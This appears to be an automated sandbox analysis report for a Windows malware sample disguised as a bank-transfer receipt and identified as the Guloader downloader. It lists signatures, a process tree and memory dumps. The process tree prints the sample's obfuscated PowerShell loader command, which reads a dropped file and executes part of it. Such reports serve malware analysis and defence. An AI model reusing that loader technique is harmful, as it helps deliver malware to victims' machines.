Analysis
- max time kernel
149s - max time network
147s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
20/05/2026, 17:22
General
- Target Transferencia_recibo-_18108714.exe
- Size 918KB
- Sample260520-vx2chaex9n
- SHA256 0ef58df8a376367a250f7317fa787bb9b189d7f8f9cbcbf292076f4240aced22
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Loads dropped DLL 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Transferencia_recibo-_18108714.exe"C:\Users\Admin\AppData\Local\Temp\Transferencia_recibo-_18108714.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Evolutionernes=GC -raw 'C:\Users\Admin\AppData\Local\Pertinency71\Shina\endkkerne.Tra';$silico=$Evolutionernes.SubString(54060,3);.$silico($Evolutionernes)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Nichers.exe"C:\Users\Admin\AppData\Local\Temp\Nichers.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
endkkerne.Tra
truckway.Fol
Nichers.exe
__PSScriptPolicyTest_4iegsjgt.k3b.ps1
memory/1564-75-0x0000000000450000-0x0000000001767000-memory.dmp
memory/3148-37-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-49-0x0000000008410000-0x000000000841E000-memory.dmp
memory/3148-18-0x00000000061E0000-0x0000000006246000-memory.dmp
memory/3148-25-0x0000000006250000-0x00000000065A7000-memory.dmp
memory/3148-26-0x0000000006710000-0x000000000672E000-memory.dmp
memory/3148-27-0x00000000067C0000-0x000000000680C000-memory.dmp
memory/3148-30-0x0000000007690000-0x00000000076B2000-memory.dmp
memory/3148-29-0x0000000006C10000-0x0000000006C2A000-memory.dmp
memory/3148-28-0x00000000077D0000-0x0000000007866000-memory.dmp
memory/3148-31-0x0000000007E20000-0x00000000083C6000-memory.dmp
memory/3148-16-0x0000000005880000-0x00000000058A2000-memory.dmp
memory/3148-33-0x0000000008A50000-0x00000000090CA000-memory.dmp
memory/3148-34-0x000000007F280000-0x000000007F290000-memory.dmp
memory/3148-35-0x0000000007B30000-0x0000000007B64000-memory.dmp
memory/3148-46-0x0000000007BC0000-0x0000000007C64000-memory.dmp
memory/3148-45-0x0000000007B90000-0x0000000007BAE000-memory.dmp
memory/3148-38-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-12-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-47-0x0000000007CC0000-0x0000000007CCA000-memory.dmp
memory/3148-36-0x0000000070E60000-0x0000000070EAC000-memory.dmp
memory/3148-48-0x00000000083F0000-0x0000000008401000-memory.dmp
memory/3148-17-0x0000000006170000-0x00000000061D6000-memory.dmp
memory/3148-50-0x0000000008440000-0x0000000008455000-memory.dmp
memory/3148-51-0x0000000008480000-0x000000000849A000-memory.dmp
memory/3148-52-0x0000000008470000-0x0000000008478000-memory.dmp
memory/3148-54-0x00000000084F0000-0x0000000008514000-memory.dmp
memory/3148-53-0x0000000008490000-0x00000000084BA000-memory.dmp
memory/3148-55-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-57-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-15-0x00000000059D0000-0x0000000005FFA000-memory.dmp
memory/3148-59-0x00000000085B0000-0x00000000085B2000-memory.dmp
memory/3148-60-0x00000000090D0000-0x000000000AD95000-memory.dmp
memory/3148-61-0x00000000090D0000-0x000000000AD95000-memory.dmp
memory/3148-62-0x000000007F280000-0x000000007F290000-memory.dmp
memory/3148-63-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-64-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-65-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-66-0x00000000085B0000-0x00000000085B2000-memory.dmp
memory/3148-14-0x0000000003210000-0x0000000003220000-memory.dmp
memory/3148-69-0x00000000090D0000-0x000000000AD95000-memory.dmp
memory/3148-13-0x00000000032A0000-0x00000000032D6000-memory.dmp